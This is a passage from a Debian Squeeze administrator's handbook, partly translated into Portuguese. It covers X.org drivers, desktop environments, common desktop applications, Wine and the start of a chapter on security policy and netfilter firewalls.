Note that if the detected video card isnot handled by any of the availabledrivers, X.org tries using the VESA andfbdev drivers. The former is a genericdriver that should work everywhere,but with limited capabilities (feweravailable resolutions, no hardwareacceleration for games, and so on)while the latter works on top of thekernel's framebuffer device. The Xserver writes its messages to the/var/log/Xorg.0.log log file, whichis where one would look to know whatdriver is currently in use. For example,the following snippet matches what theintel driver outputs when it is loaded:

(==) Matched intel as autoconfigured driver 0

(==) Matched vesa as autoconfigured driver 1

(==) Matched fbdev as autoconfigured driver 2

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

drivers proprietários EXTRA

Alguns fabricantes de placas de vídeo(em especial a nVidia) se recusam apublicar as especificações de hardwareque serão necessárias para implementardrivers livres bons. Entretanto, elesfornecem drivers proprietários quepermitem usar seus equipamentos. Estapolítica é maligna, por que mesmo que odriver exista, ele não é tão bem-cuidadoquanto deveria; e mais, ele nãonecessariamente segue as atualizações doX.org, o que impede que as últimasatualizações disponíveis de drivers

funcionem corretamente. Não podemosapoiar este comportamento, erecomendamos que se evite estesfabricantes, escolhendos outros maiscolaborativos.

If you still end up with such a card, youwill find the required packages in thenon-free section: nvidia-glx for nVidiacards, and fglrx-driver for some ATIcards. Both cases require matching kernelmodules. Building these modules can beautomated by installing the nvidia-kernel-dkms (for nVidia), or fglrx-modules-dkms(for ATI) packages.

O projeto "nouveau" visa desenvolver umdriver de software livre para placasnVidia. A partir do Squeeze, seu conjuntode recursos não coincide com o driverproprietário. Em defesa dos

desenvolvedores, devemos mencionarque as informações necessárias só podemser obtidas por engenharia reversa, o quetorna as coisas difíceis. O driver livrepara placas de vídeo ATI, chamado"radeon", é muito melhor neste sentido,embora muitas vezes requer um firmwarenão-livre.

13.2. Customizandoa InterfaceGráfica

13.2.1. Escolhendo umGerenciador deExibiçãoThe graphical interface only providesdisplay space. Running the X server byitself only leads to an empty screen,which is why most installations use adisplay manager to display a user

authentication screen and start thegraphical desktop once the user hasauthenticated. The three most populardisplay managers in current use aregdm3 (GNOME Display Manager),kdm (KDE Display Manager) and xdm(X Display Manager). Since the FalcotCorp administrators have opted to usethe GNOME desktop environment, theylogically picked gdm3 as a displaymanager too. The/etc/gdm3/daemon.conf

configuration file has many options,some of which can also be set bygdmsetup, a graphical interface forgdm3 configuration that can be runfrom the System → Administration →Display screen menu in the GNOME

desktop.

ALTERNATIVA gdm vs. gdm3

A fresh installation of Squeeze sets upgdm3. On the other hand, a systemupgraded to Squeeze from a previousversion of Debian will usually have gdm(the 2.x version). Version 3 is a fullrewrite, but it is still rather young: manyof the options provided by previousversions have been removed, and thegdmsetup configuration interface is muchmore limited in scope. This explains whyboth versions are available in Squeeze.Note, however, the 2.x versions will beremoved from the next stable Debianrelease. It makes sense to anticipate themigration and install gdm3 straight awayif the missing features are not important

to you.

13.2.2. Escolhendo umGerenciador deJanelasSince each graphical desktop providesits own window manager, choosing theformer usually implies softwareselections from the latter. GNOMEuses the metacity window manager,KDE uses kwin, and Xfce (which wepresent later) has xfwm. The Unixphilosophy always allows using one'swindow manager of choice, but

following the recommendations allowsan administrator to best take advantageof the integration efforts led by eachproject.

DE VOLTA AO BÁSICO Gerenciador dejanelas

Fiel a tradição Unix de fazer apenas umacoisa, mas fazê-lo bem, o Gerenciador dejanela exibe as "decorações" em torno dasjanelas pertencentes aos aplicativosatualmente em execução, que incluiquadros e a barra de título. Ele tambémpermite a redução, restauração,maximizando e escondendo o windows. Amaioria dos gerenciadores de janelastambém fornecem um menu que aparecequando a área de trabalho é clicada emuma maneira específica. Este menu

fornece os meios para fechar a sessão doGerenciador de janela, iniciando novasaplicações e em alguns casos, mudar paraoutro gerenciador de janelas (seinstalado).

Older computers may, however, have ahard time running heavyweightgraphical desktop environments. Inthese cases, a lighter configurationshould be used. "Light" (or smallfootprint) window managers includeWindowMaker (in the wmakerpackage), Afterstep, fvwm, icewm,blackbox, fluxbox, or openbox. In thesecases, the system should be configuredso that the appropriate windowmanager gets precedence; the standard

way is to change the x-window-manager alternative with the update-alternatives --config x-window-manager command.

ESPECIFIDADES DO DEBIANAlternativas

A política Debian enumera uma série decomandos padronizados capazes deexecutar uma ação específica. Porexemplo, o x-window-manager chamaum Gerenciador de janelas. Mas o Debiannão atribui este comando para umGerenciador de janela fixa. Oadministrador pode escolher qualGerenciador ele deve invocar.

For each window manager, the relevantpackage therefore registers the

appropriate command as a possiblechoice for x-window-manager along withan associated priority. Barring explicitconfiguration by the administrator, thispriority allows picking the best installedwindow manager when the genericcommand is run.

Both the registration of commands andthe explicit configuration involve theupdate-alternatives script. Choosingwhere a symbolic command points at is asimple matter of running update-alternatives --config symbolic-command.The update-alternatives script creates(and maintains) symbolic links in the/etc/alternatives/ directory, which inturn references the location of theexecutable. As time passes, packages areinstalled or removed, and/or theadministrator makes explicit changes to

the configuration. When a packageproviding an alternative is removed, thealternative automatically goes to the nextbest choice among the remaining possiblecommands.

Not all symbolic commands are explicitlylisted by the Debian policy; some Debianpackage maintainers deliberately chose touse this mechanism in lessstraightforward cases where it still bringsinteresting flexibility (examples includex-www-browser, www-browser, cc, c++,awk, and so on).

13.2.3. Gerenciamentode Menu

Modern desktop environments andmany window managers provide menuslisting the available applications forthe user. In order to keep menus up-to-date in relation to the actual set ofavailable applications, Debian createda centralized database registering allinstalled applications. A newlyinstalled package registers itself in thatdatabase, and tells the system to updatethe menus accordingly. Thisinfrastructure is handled in the menupackage.

When a package provides anapplication that should appear in themenu system, it stores a file in the/usr/share/menu/ directory. That file

describes some of the applicationfeatures (including whether it's agraphical application or not), and thebest location for it in the menuhierarchy. The post-installation scriptfor this package then runs the update-menus command, which in turnupdates all the required files. Thiscommand cannot know all the menutypes used by installed applications. Asa consequence, packages able todisplay a menu must provide anexecutable script that will be invokedwith all the required information fromthe menu file; the script should thenturn this information into elements thatthe application with the menu can use.These filter scripts are installed in the

/etc/menu-methods/ directory.

APROFUNDANDO Padronizações deMenu

Debian provides its own menu system, butboth GNOME and KDE developed theirown menu management solutions as well.The two projects agreed on a format forthese menus — more precisely, a commonformat for the .desktop files thatrepresent menu elements — under theFreeDesktop.org umbrella project.

→ http://www.freedesktop.org/

The Debian developers have kept a closeeye on this project and .desktop files canbe generated from the Debian menusystem. However, neither GNOME norKDE use the Debian menu. They both

prefer keeping complete control overtheir menus. Still, it is possible to enable a“Debian” submenu containing the officialmenu as maintained by Debian: inGNOME, the menu editor (in the alacartepackage) is available by right-clicking onthe panel menu, then choosing “Editmenus”.

The administrator can also have a sayin the process and in the resultinggenerated menus. First, they can deletea menu element even when thematching application is installed, bysimply storing in /etc/menu/ anempty file named according to thepackage providing the entries to bedisabled. Second, the menu can be

reorganized and sections renamed orgrouped. The /etc/menu-methods/translate_menus file iswhere this reorganization is definedand contains commented examples.Last, new elements can be added to themenu, for example to start programsinstalled outside the packaging system,or to run a particular command such asstarting a web browser on a particularpage. These extra elements arespecified in/etc/menu/local.element files,which have the same format as othermenu files available under/usr/share/menu/.

13.3. AmbientesGráficosThe free graphical desktop field isdominated by two large softwarecollections: GNOME and KDE. Both ofthem are very popular. This is rather arare instance in the free softwareworld; the Apache web server, forinstance, has very few peers.

This diversity is rooted in history. KDEwas the first graphical desktop project,but it chose the Qt graphical toolkit andthat choice wasn't acceptable for alarge number of developers. Qt was not

free software at the time, and GNOMEwas started based on the GTK+ toolkit.Qt became free software in the interval,but the projects haven't merged andevolved in parallel instead.

GNOME and KDE still work together:under the FreeDesktop.org umbrella,the projects collaborated in definingstandards for interoperability acrossapplications.

Choosing “the best” graphical desktopis a sensitive topic which we prefer tosteer clear of. We will merely describethe many possibilities and give a fewpointers for further thoughts. The bestchoice will be the one you make after

some experimentation.

13.3.1. GNOMEDebian Squeeze includes GNOMEversion 2.30, which can be installed bya simple apt-get install gnome (it canalso be installed by selecting the“Graphical desktop environment”task).

GNOME is noteworthy for its efforts inusability and accessibility. Designprofessionals have been involved inwriting standards andrecommendations. This has helpeddevelopers to create satisfying

graphical user interfaces. The projectalso gets encouragement from the bigplayers of computing, such as Intel,IBM, Oracle, Novell, and of course,various Linux distributions. Finally,many programming languages can beused in developing applicationsinterfacing to GNOME.

It took quite some time for theGNOME project to build up thisinfrastructure, which can account for aseemingly less mature desktop thanKDE. The usability and accessibilityefforts, in particular, are recent, and thebenefits have only started to show inthe latest versions of the environment.

Figure 13.1. O ambiente GNOME

For administrators, GNOME seems tobe better prepared for massivedeployments. Applicationconfiguration is handled by GConf, akind of registry that can be queried andedited with the gconftool-2 command-line tool. The administrator can

therefore change users' configurationwith a simple script. The followingwebsite lists all information of interestto an administrator tasked to manageGNOME workstations:

→ http://library.gnome.org/admin/system-admin-guide/stable/→ http://library.gnome.org/admin/deployment-guide/

13.3.2. KDEDebian Squeeze includes version 4.4.5of KDE, which can be installed withapt-get install kde.

KDE has had a rapid evolution basedon a very hands-on approach. Itsauthors quickly got very good results,which allowed them to grow a largeuser-base. These factors contributed tothe overall project quality. KDE is aperfectly mature desktop environmentwith a wide range of applications.

Figure 13.2. O ambiente KDE

Since the Qt 4.0 release, the lastremaining license problem with KDE isno more. This version was releasedunder the GPL both for Linux andWindows (whereas the Windowsversion was previously released undera non-free license). Note that KDE

applications must be developed usingthe C++ language.

13.3.3. Xfce e OutrosXfce is a simple and lightweightgraphical desktop, which is a perfectmatch for computers with limitedresources. It can be installed with apt-get install xfce4. Like GNOME, Xfceis based on the GTK+ toolkit, andseveral components are common acrossboth desktops.

Unlike GNOME and KDE, Xfce doesnot aim at being a vast project. Beyondthe basic components of a modern

desktop (file manager, windowmanager, session manager, a panel forapplication launchers and so on), itonly provides a few specificapplications: a very lightweight webbrowser (Midori), a terminal, acalendar, an image viewer, a CD/DVDburning tool, a media player (Parole)and a sound volume control.

Figure 13.3. O ambiente Xfce

13.4. Ferramentas

13.4.1. Email

13.4.1.1. Evolution

COMUNIDADE Pacotes populares

Installing the popularity-contest packageenables participation in an automatedsurvey that informs the Debian projectabout the most popular packages. A scriptis run weekly by cron which sends (byHTTP or email) an anonymized list of theinstalled packages and the latest accessdate for the files they contain. This allowsdifferentiating, among the installed

packages, those that are actually used.

This information is a great help to theDebian project. It is used to determinewhich packages should go on the firstinstallation disks. The installation data isalso an important factor used to decidewhether to remove a package with veryfew users from the distribution. Weheartily recommend installing thepopularity-contest package, andparticipating to the survey.

Os dados coletados tornam-se públicostodos os dias.

→ http://popcon.debian.org/

These statistics can also help choosebetween two packages that would seemotherwise equivalent. Choosing the morepopular package increases the probability

of making a good choice.

Evolution is the GNOME email clientand can be installed with apt-getinstall evolution. Evolution goesbeyond a simple email client, and alsoprovides a calendar, an address book, atask list, and a memo (free-form note)application. Its email componentincludes a powerful message indexingsystem, and allows for the creation ofvirtual folders based on search querieson all archived messages. In otherwords, all messages are stored thesame way but displayed in a folder-based organization, each foldercontaining messages that match a set of

filtering criteria.

Figure 13.4. O programa de e-mailEvolution

An extension to Evolution allowsintegration to a Microsoft Exchangeemail system; the required package isevolution-exchange.

13.4.1.2. KMail

The KDE email software can beinstalled with apt-get install kmail.KMail only handles email, but itbelongs to a software suite called KDE-PIM (for Personal InformationManager) that includes features suchas address books, a calendarcomponent, and so on. KMail has allthe features one would expect from anexcellent email client.

Figure 13.5. O programa de e-mailKMail

13.4.1.3. Thunderbird eIcedove

This email software, included in theicedove package, is part of the Mozillasoftware suite. Various localizationsets are available in icedove-l10n-*

packages; the enigmail extensionhandles message encrypting andsigning (alas, it is not available in alllanguages).

Figure 13.6. O programa de e-mailIcedove

Thunderbird is one of the best emailclients, and it seems to be a greatsuccess, just like Mozilla Firefox.

Strictly speaking, Debian Squeezecontains Icedove, and not Thunderbird,for legal reasons we will detail in the“Iceweasel, Firefox and others” section

later on; but apart from their names(and icons), there are no realdifferences between them.

13.4.2. NavegadoresWebEpiphany, the web browser in theGNOME suite, uses the WebKitdisplay engine developed by Apple forits Safari browser. The relevantpackage is epiphany-browser.

Konqueror, the KDE file manager, alsobehaves as a web browser. It uses theKDE-specific KHTML renderingengine; KHTML is an excellent engine,

as witnessed by the fact that Apple'sWebKit is based on KHTML.Konqueror is available in thekonqueror package.

Users not satisfied by either of theabove can use Iceweasel. This browser,available in the iceweasel package,uses the Mozilla project's Geckorenderer, with a thin and extensibleinterface on top.

Figure 13.7. O navegador webIceweasel

CULTURA Iceweasel, Firefox e outros

Many users will no doubt be surprised bythe absence of Mozilla Firefox in theDebian Squeeze menus. No need to panic:the iceweasel package containsIceweasel, which is basically Firefoxunder another name.

The rationale behind this renaming is aresult of the usage rules imposed by theMozilla Foundation on the Firefox™registered trademark: any software namedFirefox must use the official Firefox logoand icons. However, since these elementsare not released under a free license,Debian cannot distribute them in its mainsection. Rather than moving the wholebrowser to non-free, the packagemaintainer chose to use a different name.

The firefox command still exists in theiceweasel package, but only forcompatibility with tools that would try touse it.

For similar reasons, the Thunderbird™email client was renamed to Icedove in asimilar fashion.

CULTURA Mozilla

Netscape Navigator was the standardbrowser when the web started reachingthe masses, but it was progressively leftbehind when Microsoft Internet Explorercame around. Faced with this failure,Netscape (the company) decided to “free”its source code, by releasing it under afree license, to give it a second life. Thiswas the beginning of the Mozilla project.After many years of development, theresults are more than satisfying: theMozilla project brought forth an HTMLrendering engine (called Gecko) that isamong the most standard-compliant. Thisrendering engine is in particular used bythe Mozilla Firefox browser, which is oneof the most successful browsers, with afast-growing user base.

Squeeze also brings a relativenewcomer on the web browser scene,Chromium (available in the chromium-browser package). This browser isdeveloped by Google at such a fastpace that maintaining a single versionof it across the whole lifespan ofDebian Squeeze is unlikely to bepossible. Its clear purpose is to makeweb services more attractive, both byoptimizing the browser forperformance and by increasing theuser's security. The free code thatpowers Chromium is also used by itsproprietary version called GoogleChrome.

13.4.3. Desenvolvimento

13.4.3.1. Ferramentas paraGTK+ no GNOME

Anjuta (in the anjuta package) is adevelopment environment optimizedfor creating GTK+ applications forGNOME. Glade (in the glade package)is an application designed to createGTK+ graphical interfaces for GNOMEand save them in an XML file. TheseXML files can then be loaded by thelibglade shared library, which candynamically recreate the savedinterfaces; such a feature can beinteresting, for instance for plugins that

require dialogs.

The scope of Anjuta is to combine, in amodular way, all the features onewould expect from an integrateddevelopment environment.

13.4.3.2. Ferramentas paraQt no KDE

The equivalent applications for KDEare KDevelop (in the kdeveloppackage) for the developmentenvironment, and Qt Designer (in theqt3-designer or qt4-designer packages)for the design of graphical interfacesfor Qt applications on KDE.

The next versions of these applicationsshould be better integrated together,thanks to the KParts componentsystem.

13.4.4. TrabalhoColaborativo

13.4.4.1. Trabalhando emGrupo: groupware

A previous edition of this bookmentioned PHPGroupware, but thissoftware is no longer in Debian… It isno longer actively maintained, and noexisting version was compatible with

the PHP version 5.3 included in DebianSqueeze, which is why the Debianmaintainer asked for the package to beremoved.

→ http://www.phpgroupware.org/

eGroupware was also mentioned, but ittoo went the way of PHPGroupware,but for different reasons. The softwareis still maintained by the company thatdevelops it, but no volunteer hasstepped up to ensure its maintenancewithin Debian. Should you still wish touse it, the project itself providesDebian packages.

→ http://www.egroupware.org/

All is not lost though. Many of thefeatures traditionally provided by“groupware” software are increasinglyintegrated into “standard” software.This is reducing the requirement forspecific, specialized groupwaresoftware. On the other hand, thisusually requires a specific server. Agood example for such a server isKolab, that can integrate into KDE(Kontact, Kmail, and so on), the Hordewebmail, Thunderbird (via a plugin)and even into Microsoft Outlook.Kolab is part of Debian Squeeze(kolab* packages).

→ http://www.kolab.org/

13.4.4.2. Sistemas deMensagem Instantânea

When setting up an internal instantmessaging system for a company, theobvious choice is Jabber: its protocol isan open standard (XMPP), and there isno shortage of features. The messagescan be encrypted, which can be a realbonus, and gateways can be set upbetween a Jabber server and otherinstant messaging networks such asICQ, AIM, Yahoo, MSN, and so on.

ALTERNATIVE Internet Relay Chat

IRC can also be considered, instead ofJabber. This system is more centered

around the concept of channels, the nameof which starts with a hash sign #. Eachchannel is usually targeted at a specifictopic and any number of people can join achannel to discuss it (but users can stillhave one-to-one private conversations ifneeded). The IRC protocol is older, anddoes not allow end-to-end encryption ofthe messages; it is still possible to encryptthe communications between the usersand the server by tunneling the IRCprotocol inside SSL.

IRC clients are a bit more complex, andthey usually provide many features thatare of limited use in a corporateenvironment. For instance, channel“operators” are users endowed with theability to kick other users from a channel,or even ban them permanently, when thenormal discussion is disrupted.

Since the IRC protocol is very old, manyclients are available to cater for manyuser groups; examples include XChat andSmuxi (graphical clients based on GTK+),Irssi (text mode), Erc (integrated toEmacs), Chatzilla (in the Mozilla softwaresuite), and so on.

OLHADA RÁPIDA Video conferênciacom Ekiga

Ekiga (formerly GnomeMeeting) is themost prominent application for Linuxvideo conferencing. It is both stable andfunctional, and is very easily used on alocal network; setting up the service on aglobal network is much more complexwhen the firewalls involved lack explicitsupport for the H323 and/or SIPteleconferencing protocols with all their

quirks.

If only one Ekiga client is to run behindthe firewall, the configuration is ratherstraightforward, and only involvesforwarding a few ports to the dedicatedhost: TCP port 1720 (listening forincoming connections), TCP port 5060(for SIP), TCP ports 30000 to 30010 (forcontrol of open connections) and UDPports 5000 to 5013 (for audio and videodata transmission and registration to anH323 proxy).

When several Ekiga clients are to runbehind the firewall, complexity increasesnotably. An H323 proxy (for instance thegnugk package) must be set up, and itsconfiguration is far from simple.

13.4.4.2.1. Configurando o Servidor

Setting up a Jabber server is ratherstraightforward. After installing theejabberd package, executing dpkg-reconfigure ejabberd will allowcustomizing the default domain, andcreate an administrator account. Notethat the Jabber server needs a validDNS name to point at it, so somenetwork administration can be requiredbeforehand. The Falcot Corpadministrators pickedjabber.falcot.com for that purpose.

Once this initial set up is over, theservice configuration can be controlledthrough a web interface accessible at

http://jabber.falcot.com:5280/admin/

The requested username and passwordare those that were given earlier duringthe initial configuration. Note that theusername must be qualified with theconfigured domain: the admin accountbecomes [email protected].

The web interface removes the need toedit a configuration file, but does notalways make the task easier, sincemany options have a peculiar syntaxthat needs to be known./usr/share/doc/ejabberd/guide.html

is therefore a recommended read.

13.4.4.2.2. Clientes Jabber

GNOME provides Empathy (in thesimilarly-named package), aminimalist client that integrates in thenotification area of the desktop (on thetop-right corner in the default GNOMEconfiguration). It also supports manyinstant messaging protocols beyondJabber.

O KDE provê o Kopete (no pacote demesmo nome).

13.4.4.3. TrabalhoColaborativo ComFusionForge

FusionForge is a collaborative

development tool with some ancestryin SourceForge, a hosting service forfree software projects. It takes thesame overall approach based on thestandard development model for freesoftware. The software itself has keptevolving after the SourceForge codewent proprietary. Its initial authors, VASoftware, decided not to release anymore free versions. The same happenedagain when the first fork (GForge)followed the same path. Since variouspeople and organizations haveparticipated in development, thecurrent FusionForge also includesfeatures targeting a more traditionalapproach to development, as well asprojects not purely concerned with

software development.

FusionForge can be seen as anamalgamation of several toolsdedicated to manage, track andcoordinate projects. These tools can beroughly classified into three families:

communication: web forums,mailing-list manager,announcement system allowing aproject to publish news;tracking: task tracker to controlprogress and schedule tasks,trackers for bugs (or patches orfeature requests, or any other kindof “ticket”), surveys;sharing: documentation manager

to provide a single central pointfor documents related to a project,generic file release manager,dedicated website for each project.

Since FusionForge is largely targetingdevelopment projects, it also integratesmany tools such as CVS, Subversion,Git, Bazaar, Darcs, Mercurial and Archfor source control management or“configuration management” or“version control” — this process hasmany names. These programs keep ahistory of all the revisions of alltracked files (often source code files),with all the changes they go through,and they can merge modificationswhen several developers work

simultaneously on the same part of aproject.

Most of these tools are accessible, oreven managed, through a web interface,with a fine-grained permission system,and email notifications for someevents.

13.4.5. Suítes deEscritórioOffice software has long been seen aslacking in the free software world.Users have long asked for replacementsfor Microsoft tools such as Word andExcel, but these are so complex that

replacements were hard to develop.The situation changed when theOpenOffice.org project started(following Sun's release of theStarOffice code under a free license).The GNOME and KDE projects arestill working on their offerings(GNOME Office and KOffice), and thefriendly competition leads tointeresting results. For instance, theGnumeric spreadsheet (part ofGNOME Office) is even better thanOpenOffice.org in some domains,notably the precision of itscalculations. On the word processingfront, the OpenOffice.org suite stillleads the way.

Another important feature for users isthe ability to import Word and Exceldocuments received from contacts orfound in archives. Even though alloffice suites have filters which allowworking on these formats, only theones found in OpenOffice.org arefunctional enough for daily use.

THE BROADER VIEW Libre Officereplaces OpenOffice.org

OpenOffice.org contributors have set up afoundation (The Document Foundation)to foster project development. The ideahad been discussed for some time, but theactual trigger was Oracle's acquisition ofSun. The new ownership made the futureof OpenOffice under Oracle uncertain.

Since Oracle declined to join thefoundation, the developers had to give upon the OpenOffice.org name. Thesoftware is now known as Libre Office.

These changes occurred after DebianSqueeze was frozen, which explains whythe repositories still containOpenOffice.org… but Libre Office isalready available in thebackports.debian.org packagerepository, as well as in more recentversions of Debian.

OpenOffice.org, KOffice and GNOMEOffice are, respectively, available inthe openoffice.org, koffice and gnome-office Debian packages. Language-specific packs for OpenOffice.org are

distributed in separate packages:openoffice.org-l10n-*, openoffice.org-help-*, and openoffice.org-spellcheck-* (which can be a virtual packageprovided by myspell-*).

13.5. Emulando oWindows: WineIn spite of all the previously mentionedefforts, there are still a number of toolswithout a Linux equivalent, or forwhich the original version is absolutelyrequired. This is where Windowsemulation systems come in handy. Themost well-known among them is Wine.

→ http://www.winehq.com/

COMPLEMENTOS CrossOver Linux

CrossOver, produced by CodeWeavers, is

a set of enhancements to Wine thatbroaden the available set of emulatedfeatures to a point at which MicrosoftOffice becomes fully usable. Some of theenhancements are periodically mergedinto Wine.

→ http://www.codeweavers.com/products/

However, one should keep in mind thatit's only a solution among others, andthe problem can also be tackled with avirtual machine or VNC; both of thesesolutions are detailed in the sidebars.

Let us start with a reminder: emulationallows executing a program (developedfor a target system) on a different host

system. The emulation software usesthe host system, where the applicationruns, to imitate the required features ofthe target system.

The simplest way of using Wine is withan instance of Microsoft Windowsalready installed on an existingpartition (which will be the case onmachines dual-booting with thissystem). When no installed Windowsversion is available, Wine works in aless complete way, and fewer programswill be able to run.

The Windows partition must first bemounted (for instance under/windows/), and the wine user must

have read and write access. Thefollowing fstab entry grants thisaccess to all users:

/dev/hda1 /windows fat defaults,uid=1000,gid=100,umask=002,nls=iso8859-1 0 0

Agora vamos instalar os pacotesnecessários:

# apt-get install wine ttf-mscorefonts-installer wine-doc

The user then needs to run winecfg andconfigure /windows/ to be used as theC: drive. Other settings can be kept totheir default values. Running Windowsprograms then becomes a simplematter of running wine

/windows/.../program.exe.

Note that you should not rely on Wine(or similar solutions) without actuallytesting the particular software: only areal-use test will determineconclusively whether emulation is fullyfunctional.

ALTERNATIVA Máquinas virtuais

An alternative to emulating Microsoft'soperating system is to actually run it in avirtual machine that emulates a fullhardware machine. This allows runningany operating system. Chapter 12,Administração Avançada describesseveral virtualization systems, mostnotably Xen and KVM (but also QEMU,VMWare and Bochs).

ALTERNATIVA Windows TerminalServer ou VNC

Yet another possibility is to remotely runthe legacy Windows applications on acentral server with Windows TerminalServer and access the application fromLinux machines using rdesktop. This is aLinux client for the RDP protocol (RemoteDesktop Protocol) that Windows NT/2000Terminal Server uses to display desktopson remote machines.

The VNC software provides similarfeatures, with the added benefit of alsoworking with many operating systems.Linux VNC clients and servers aredescribed in Section 9.2, “Login remoto”.

Chapter 14. SegurançaUm sistema de informação pode tervariados níveis de importância,dependendo do ambiente. Em algunscasos, é vital para a sobrevivência deuma empresa. Deve, portanto, serprotegido de vários tipos de riscos. Oprocesso de avaliação desses riscos,definição e execução da proteção écoletivamente conhecida como o"processo de segurança".

14.1. Definindouma Política de

SegurançaATENÇÃO Escopo deste capítulo

Segurança é um assunto vasto e muitodelicado, por isso não podemos reclamarao descrevê-lo de forma abrangente nocurso de um único capítulo. Nós apenasdelimitamos alguns pontos importantes edescrevemos algumas das ferramentas emétodos que podem ser úteis no domínioda segurança. Para ler mais, a literatura éabundante, e livros inteiros foramdedicados ao assunto. Um excelenteponto de partida seria Linux ServerSecurity por Michael D. Bauer (publicadopela O'Reilly).

A palavra "segurança" em si abrangeuma vasta gama de conceitos,ferramentas e procedimentos, nenhumdos quais se aplicam universalmente.Escolher entre eles requer uma idéiaprecisa de quais são seus objetivos.Garantir um sistema começa comrespondendo a algumas perguntas.Apressando-se de cabeça naimplementação de um conjuntoarbitrário de ferramentas corre o riscode se concentrar nos aspectos erradosde segurança.

A primeira coisa a determinar é,portanto, o objetivo. Uma boaabordagem para ajudar com estadeterminação começa com as seguintes

perguntas:

O que estamos tentando proteger?A política de segurança vai serdiferente, dependendo sequeremos proteger oscomputadores ou dados. Nesteúltimo caso, também precisamossaber quais os dados.Contra o que estamos tentandoproteger? Vazamento de dadosconfidenciais? Perda acidental dedados? Perda de receita causadapela interrupção do serviço?Além disso, de quem estamostentando proteger? As medidas desegurança vão ser muito diferentespara se proteger contra um erro de

digitação por um usuário regulardo sistema do que quando aproteção for contra umdeterminado grupo atacante.

O termo "risco" é normalmente usadopara se referir coletivamente a essestrês fatores: o que proteger, o queprecisa ser impedido de acontecer, eque vai tentar fazer isso acontecer.Modelagem do risco requer respostas aestas três perguntas. A partir destemodelo de risco, uma política desegurança pode ser construída, e apolítica pode ser implementada comações concretas.

NOTA Questionamento permanente

Bruce Schneier, um especialista mundialem matéria de segurança (e não apenas asegurança do computador) tenta combaterum dos mitos mais importantes desegurança com um lema: "Segurança é umprocesso, não um produto". Ativos aserem protegidos mudam no tempo, assimcomo ameaças e os meios disponíveispara potenciais agressores. Mesmo seuma política de segurança foiinicialmente perfeitamente desenhada eimplementada, nunca se deve descansarsobre seus louros. Os componentes derisco evoluem, e a resposta a esse riscodeve evoluir nesse sentido.

Restrições adicionais também devemser levadas em conta, uma vez quepodem restringir o leque de políticas

disponíveis. Até onde estamosdispostos a ir para proteger umsistema? Esta questão tem um grandeimpacto sobre a política aimplementar. A resposta é muitasvezes definida apenas em termos decustos monetários, mas os outroselementos devem também serconsiderados, tais como a quantidadede inconveniência imposta aos usuáriosdo sistema ou degradação dodesempenho.

Uma vez que o risco foi modelado,pode-se começar a pensar sobre acriação de uma política de segurançareal.

NOTA Políticas extremas

Há casos em que a escolha das açõesnecessárias para garantir um sistema éextremamente simples.

Por exemplo, se o sistema a ser protegidoapenas compreende um computador desegunda mão, a unica utilização consisteem adicionar alguns números no final dodia, decidir não fazer nada especial paraprotegê-lo seria bastante razoável. Ovalor intrínseco do sistema é baixo. Ovalor dos dados é igual a zero, uma vezque não são armazenados no computador.Um atacante potencial infiltrando este"sistema" só teria a ganhar umacalculadora pesada. O custo de assegurarum tal sistema seria provavelmente maiordo que o custo de uma violação.

No outro extremo do espectro, podemosquerer proteger a confidencialidade dosdados secretos da forma mais abrangentepossível, superando qualquer outraconsideração. Neste caso, uma respostaapropriada seria a destruição total destesdados (de forma segura e apagar osarquivos, trituração dos discos rígidos aosbits, em seguida, dissolvendo estes bitsem ácido, e assim por diante). Se houverum requisito adicional de que os dadosdevem ser mantidos guardados para usofuturo (embora não necessariamenteprontamente disponível), e se o custoainda não é um fator, então, um ponto departida seria armazenar os dados sobreplacas de liga leve de irídio-platinaarmazenados em depósitos à prova debomba em várias montanhas no mundo,cada uma das quais, é claro, inteiramentesecreta e guardada por exércitos

inteiros…

Esses exemplos podem parecer extremos,eles, no entanto, sao uma respostaadequada aos riscos definidos, na medidaem que eles são o resultado de umprocesso de pensamento que leva emconta os objectivos a atingir e aslimitações a cumprir. Ao vir de umadecisão fundamentada, nenhuma políticade segurança é menos respeitável do quequalquer outra.

Na maioria dos casos, o sistema deinformação pode ser segmentado emsubconjuntos consistentes e na maiorparte independente. Cada subsistematerá suas próprias exigências erestrições, e assim a avaliação do risco

e do projeto da política de segurançadeve ser realizada separadamente paracada um. Um bom princípio para semanter em mente é que um perímetropequeno e bem definido é mais fácil dedefender do que uma fronteira longa esinuosa. A organização em redetambém deve ser concebida: osserviços sensíveis devem serconcentrados em um pequeno númerode máquinas, e estas máquinas sódevem ser acessíveis através de umnúmero mínimo de pontos deverificação; garantir estes pontoscheck-points será mais fácil do quegarantir todos as máquinas sensíveiscontra a totalidade do mundo exterior.É neste ponto que a utilidade de

filtragem de rede (incluindo porfirewalls) se torna aparente. Estafiltragem pode ser implementada comhardware dedicado, mas uma soluçãopossivelmente mais simples e maisflexível é usar um firewall de software,como o integrado no kernel do Linux.

14.2. Firewall ouFiltragem depacotes

DE VOLTA AO BASICO Firewall

Um firewall é uma peça de equipamentode informática com hardware e/ousoftware que classifica os pacotes deentrada ou saída de rede (chegando ou deuma rede local) e só deixa passar aquelescombinando certas condições pré-definidas.

Um firewall é uma porta de filtragem

da saida de rede e é efetiva apenas empacotes que devem passar por isso.Portanto, só pode ser eficaz quandopassar pelo firewall é a única rota paraestes pacotes.

A falta de uma configuração padrão (edo lema "processo e não produto")explica a falta de uma solução chave.Há, no entanto, as ferramentas quetornam mais simples configurar osfirewall netfilter, com umarepresentação gráfica das regras defiltragem. fwbuilder está, sem dúvidaentre os melhores delas.

CASO ESPECIFICO Firewall Local

Um firewall pode ser restrito a umadeterminada máquina (em oposição a umarede completa), caso em que seu papel é ode filtrar ou restringir o acesso a algunsserviços, ou possivelmente para evitarque as conexões de saída por softwaresmaliciosos que um usuário poderia, porvontade própria ou não, ter instalado.

O kernel do Linux 2.6 incorpora osfirewall netfilter. Ele pode sercontrolado a partir do espaço dousuário com os comandos iptables eip6tables. A diferença entre estes doiscomandos é que o primeiro atua sobrerede IPv4, enquanto que o último sobreo IPv6. Uma vez que ambas pilhas deprotocolo de rede provavelmente

estarão circulando por muitos anos,ambas as ferramentas serão utilizadasem paralelo.

14.2.1. Funcionamentodo Netfilternetfilter utiliza quatro tabelas distintasque armazenam regras que regulamtrês tipos de operações sobre pacotes:

filtro preocupa com as regras defiltragem (aceitando, recusando ouignorando um pacote);nat diz respeito a tradução deorigem ou destino, endereços eportas de pacotes, observe que

